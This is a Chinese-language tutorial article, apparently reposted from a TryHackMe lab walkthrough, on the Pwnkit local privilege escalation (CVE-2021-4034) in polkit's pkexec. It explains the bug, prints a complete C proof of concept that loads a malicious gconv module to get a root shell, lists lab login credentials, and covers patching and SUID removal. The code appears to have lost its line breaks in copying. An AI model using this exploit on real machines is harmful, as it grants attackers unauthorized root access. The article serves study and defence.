Pwnkit:CVE-2021-4034

admin 2025年2月5日01:00:29评论10 views字数 3991阅读13分18秒阅读模式

Pwnkit:CVE-2021-4034

CVE-2021-4034(俗称“Pwnkit”)是一个可怕的本地权限提升(LPE)漏洞,位于几乎所有主要Linux操作系统发行版(以及 Linux 操作系统)上默认安装的“Polkit”软件包中。许多其他 *nix 操作系统)。换句话说,它几乎影响了地球上每一个主流Linux系统。

概述

CVE-2021-4034(又名“pwnkit”)由Qualys的研究人员发现,并于 2022 年 1 月公布;可以在此处找到此漏洞的技术安全建议。自 2009 年首次发布以来,该漏洞存在于“Policy Toolkit”(或 Polkit)软件包的每个版本中,并且允许任何非特权攻击者轻松获得对任何安装了 Polkit 软件包的Linux计算机的完全管理访问权限。不幸的是,大多数Linux发行版上都默认安装了 Polkit,这使得该漏洞极其普遍。 Polkit 的易于利用性和普遍性使其成为绝对毁灭性的漏洞;然而,幸运的是它无法被远程利用,这使得 Pwnkit 纯粹是一个本地权限升级(LPE)漏洞。

什么是Polkit?

在我们直接查看该漏洞之前,先了解一下 Polkit 到底是什么。

Polkit 是 Linux 授权系统的一部分。实际上,当您尝试执行需要更高级别权限的操作时,Polkit 可用于确定您是否拥有必要的权限。它与 systemd 集成,并且比传统的 sudo 系统更具可配置性。事实上,它有时被称为“systemd 的 sudo”,提供了一个用于向用户分配权限的细粒度系统。

当与 polkit 交互时,我们可以使用pkexec实用程序 - 正是该程序包含Pwnkit漏洞。作为使用该实用程序的示例,尝试在GUI会话中通过pkexec运行useradd命令会导致弹出窗口询问凭据: pkexec useradd test1234

在CLI会话中,我们会收到基于文本的提示:

muiri@demo-vm:~$ pkexec useradd test1234==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===Authentication is needed to run '/usr/sbin/useradd' as the super userAuthenticating as: muiri,,, (muiri)    Password:

总而言之,策略工具包可以被视为您可能已经熟悉的更简单的 sudo 系统的细粒度替代方案。

漏洞

如前所述,Pwnkit 漏洞存在于pkexec实用程序(Polkit 系统的主要前端)中。为了可读性,我们不会在这里讨论太多细节;但是,我们鼓励您仔细阅读Qualys 安全公告,以获取有关该漏洞的完整技术说明。

简而言之:补丁之前发布的 pkexec 版本不能安全地处理命令行参数,这会导致“越界写入”漏洞,从而允许攻击者操纵 pkexec 运行的环境。这就是您真正需要了解的全部内容,但要获得稍微更技术性的解释,请继续阅读!

更具体地说, pkexec 尝试解析我们使用 for 循环传递给它的任何命令行参数,从索引 1 开始偏移程序名称并获取第一个实参(例如,如果我们输入 pkexec bash,则由于pkexec是程序的名称,因此它将是参数0—实际的命令行参数从索引1开始)。程序的名称与参数解析无关,因此索引只是偏移以忽略它。

那么,如果我们不提供任何论据,会发生什么?索引永久设置为1! 以下伪代码可以帮助您形象化这一点:

for(n=1; n < number_of_arguments; n++){      //Do Stuff    }

如果参数数量为0,则n永远不会小于参数数量。因此,n保持等于1,并且循环被完全绕过。

当 pkexec尝试写入索引n处的参数值时,这会成为一个问题。由于没有命令行参数,因此索引n处没有参数,相反程序会覆盖内存中的下一个值,当使用C调用程序时,它恰好是环境变量列表中的第一个值函数称为execve()。换句话说,通过向 pkexec 传递一个空参数列表,我们可以强制它覆盖环境变量!

对于上下文:当您尝试运行设置了SUID 位的程序时,操作系统会删除某些“危险”环境变量(如 pkexec 所必需的那样);这是为了防止攻击者能够在程序以管理权限运行时劫持该程序。使用越界写入,我们可以通过欺骗 pkexec 为我们添加这些危险环境变量来重新引入我们选择的这些危险环境变量。有多种不同的方法可以滥用它,所有这些都会导致以 root 用户身份执行代码。

遗憾的是,利用 Pwnkit 非常容易。 网上有很多可用的漏洞利用程序,编写自己的版本并不是特别困难。

我们将使用的版本是由 arthepsy 用 C 语言编写的,并在 Qualys 安全公告公开后不久发布。可以在此处找到该存储库。该漏洞利用的这种变体利用危险的GCONV_PATH变量来包含恶意共享对象文件,该文件以 root 权限调用/bin/sh shell

首先,我们必须连接到目标机器。如果您使用浏览器内连接,那么您已经可以使用屏幕右侧的终端通过浏览器进行访问。

如果您不使用浏览器内连接,则可以使用SSH和以下凭据进行连接:

  • 用户名: tryhackme
  • 密码: TryHackMe123!

连接后,我们需要导航到预先添加的pwnkit/子目录,然后使用以下命令编译漏洞利用: gcc cve-2021-4034-poc.c -o exploit

然后我们可以使用./exploit运行漏洞利用程序以获得对目标的即时 root 访问权限!

cve-2021-4034-poc.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h>char *shell = "#include <stdio.h>n""#include <stdlib.h>n""#include <unistd.h>nn""void gconv() {}n""void gconv_init() {n""       setuid(0); setgid(0);n""       seteuid(0); setegid(0);n""       system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/bash");n""       exit(0);n""}";int main(int argc, char *argv[]) {        FILE *fp;        // 创建目录并确保权限        system("mkdir -p pwnkit; touch pwnkit/pwnkit.c");        // 编写恶意C代码        fp = fopen("pwnkit/pwnkit.c""w");        fprintf(fp, "%s", shell);        fclose(fp);        // 编译恶意模块        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");        // 创建gconv模块目录,并写入模块信息        system("mkdir -p pwnkit/gconv-modules.d");        system("echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules.d/pwnkit");        // 确保路径权限设置正确        system("chmod -R a+x pwnkit");        // 设置环境变量,并执行pkexec        char *env[] = {"GCONV_PATH=./pwnkit",  // 设置gconv模块的路径"CHARSET=PWNKIT",       // 设置字符集"SHELL=/bin/bash",      // 设置默认shell            NULL        };        // 使用pkexec执行并传递恶意模块        execve("/usr/bin/pkexec", (char*[]){NULL}, env);return 0;}

补救措施

既然我们已经看到了CVE -2021-4034 的破坏性影响,那么我们如何防范它呢?

幸运的是,开发人员在为关键漏洞开发补丁时往往速度相当快。举一个典型的例子:在撰写本文时,Canonical 已经在APT包管理器中为所有尚未终止生命的 Ubuntu 版本发布了 Polkit 包的修补版本。修补版本可以通过简单的 apt 升级来安装 - 例如 sudo apt update && sudo apt upgrade 

在尚未发布该软件包的修补版本的发行版中,建议的修补程序是简单地从 pkexec 二进制文件中删除 SUID 位。这可以通过如下命令来完成:

sudo chmod 0755which pkexec

然而,这远非理想,它只是一个临时解决方案,直到更多发行版开始打包针对 Pwnkit 进行修补的 polkit 版本。

需要注意的是,Pwnkit 漏洞利用有多种变体,使用不同的环境变量并以不同的方式利用漏洞。其中一些会留下痕迹和日志,另一些则不会。

您可以通过尝试针对系统运行漏洞利用副本来检查以确保系统已修补。如果漏洞利用返回pkexec帮助菜单,则系统已修补:

tryhackme@pwnkit$ ./exploit    pkexec --version |           --help |           --disable-internal-agent |           [--user username] PROGRAM [ARGUMENTS...]    See the pkexec manual page for more details.

原文始发于微信公众号(ZeroPointZero安全团队):Pwnkit:CVE-2021-4034

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月5日01:00:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Pwnkit:CVE-2021-4034https://cn-sec.com/archives/3693065.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息